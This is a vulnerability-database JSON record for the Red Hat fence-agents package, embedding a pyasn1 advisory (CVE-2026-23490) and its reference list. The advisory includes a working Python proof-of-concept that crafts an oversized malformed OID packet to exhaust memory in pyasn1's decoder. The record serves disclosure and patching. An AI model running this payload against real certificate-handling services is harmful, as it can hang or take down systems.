{"url":"http://public2.vulnerablecode.io/api/packages/87402?format=json","purl":"pkg:rpm/redhat/fence-agents@4.16.0-5.el10_0?arch=8","type":"rpm","namespace":"redhat","name":"fence-agents","version":"4.16.0-5.el10_0","qualifiers":{"arch":"8"},"subpath":"","is_vulnerable":true,"next_non_vulnerable_version":null,"latest_non_vulnerable_version":null,"affected_by_vulnerabilities":[{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20254?format=json","vulnerability_id":"VCID-bptp-5gn6-eucd","summary":"pyasn1 has a DoS vulnerability in decoder\n### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n print(\"[*] Memory limit set to 100MB\")\nexcept:\n print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length < 128:\n length_bytes = bytes([length])\nelif length < 256:\n length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length < 256**2:\n length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length < 256**3:\n length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n # 4 bytes can handle up to 4GB\n length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n print(\"[*] Decoding (this may take time or exhaust memory)...\")\n result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n print(f'[+] Decoded successfully')\n print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n # Try to convert to string\n print('[*] Converting to string...')\n try:\n str_result = str(result[0])\n print(f'[+] String succeeded: {len(str_result)} chars')\n if len(str_result) > 10000:\n print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n except MemoryError:\n print(f'[-] MemoryError during string conversion!')\n except Exception as e:\n print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n![\"Screenshot_20251219_160840\"](\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\")
\n\n![\"Screenshot_20251219_152815\"](\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\")
\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @..\n 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @....\n 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... \n 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.\n\n[*] Digit distribution analysis:\n '0': 10.1%\n '1': 9.9%\n '2': 10.0%\n '3': 9.9%\n '4': 9.9%\n '5': 10.0%\n '6': 10.0%\n '7': 10.0%\n '8': 9.9%\n '9': 10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23490.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23490.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23490","reference_id":"","reference_type":"","scores":[{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05876","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05866","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05829","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05797","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05649","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05637","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05682","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05688","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05696","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05716","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.0569","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05652","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05659","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00021","scoring_system":"epss","scoring_elements":"0.05618","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-23490"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23490","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23490"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/pyasn1/pyasn1","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pyasn1/pyasn1"},{"reference_url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"},{"reference_url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-16T19:23:28Z/"}],"url":"https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"},{"reference_url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"},{"reference_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-16T19:23:28Z/"}],"url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"},{"reference_url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-16T19:23:28Z/"}],"url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23490"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1125753","reference_id":"1125753","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1125753"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472","reference_id":"2430472","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2430472"},{"reference_url":"https://github.com/advisories/GHSA-63vm-454h-vhhq","reference_id":"GHSA-63vm-454h-vhhq","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-63vm-454h-vhhq"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:1903","reference_id":"RHSA-2026:1903","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:1903"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:1904","reference_id":"RHSA-2026:1904","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:1904"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:1905","reference_id":"RHSA-2026:1905","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:1905"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:1906","reference_id":"RHSA-2026:1906","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:1906"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2221","reference_id":"RHSA-2026:2221","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2221"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2299","reference_id":"RHSA-2026:2299","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2299"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2300","reference_id":"RHSA-2026:2300","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2300"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2302","reference_id":"RHSA-2026:2302","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2302"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2303","reference_id":"RHSA-2026:2303","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2303"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2309","reference_id":"RHSA-2026:2309","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2309"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2453","reference_id":"RHSA-2026:2453","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2453"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2460","reference_id":"RHSA-2026:2460","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2460"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2483","reference_id":"RHSA-2026:2483","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2483"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2486","reference_id":"RHSA-2026:2486","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2486"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2712","reference_id":"RHSA-2026:2712","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2712"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:2758","reference_id":"RHSA-2026:2758","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:2758"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:3354","reference_id":"RHSA-2026:3354","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:3354"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:3359","reference_id":"RHSA-2026:3359","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:3359"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:3958","reference_id":"RHSA-2026:3958","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:3958"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:3959","reference_id":"RHSA-2026:3959","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:3959"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4138","reference_id":"RHSA-2026:4138","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4138"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4139","reference_id":"RHSA-2026:4139","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4139"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4140","reference_id":"RHSA-2026:4140","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4140"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4141","reference_id":"RHSA-2026:4141","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4141"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4142","reference_id":"RHSA-2026:4142","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4142"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4143","reference_id":"RHSA-2026:4143","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4143"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4144","reference_id":"RHSA-2026:4144","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4144"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4145","reference_id":"RHSA-2026:4145","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4145"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4146","reference_id":"RHSA-2026:4146","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4146"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4147","reference_id":"RHSA-2026:4147","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4147"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4148","reference_id":"RHSA-2026:4148","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4148"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:4943","reference_id":"RHSA-2026:4943","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:4943"},{"reference_url":"https://access.redhat.com/errata/RHSA-2026:5606","reference_id":"RHSA-2026:5606","reference_type":"","scores":[],"url":"https://access.redhat.com/errata/RHSA-2026:5606"},{"reference_url":"https://usn.ubuntu.com/7975-1/","reference_id":"USN-7975-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7975-1/"},{"reference_url":"https://usn.ubuntu.com/8134-1/","reference_id":"USN-8134-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8134-1/"}],"fixed_packages":[],"aliases":["CVE-2026-23490","GHSA-63vm-454h-vhhq"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-bptp-5gn6-eucd"}],"fixing_vulnerabilities":[],"risk_score":"4.0","resource_url":"http://public2.vulnerablecode.io/packages/pkg:rpm/redhat/fence-agents@4.16.0-5.el10_0%3Farch=8"}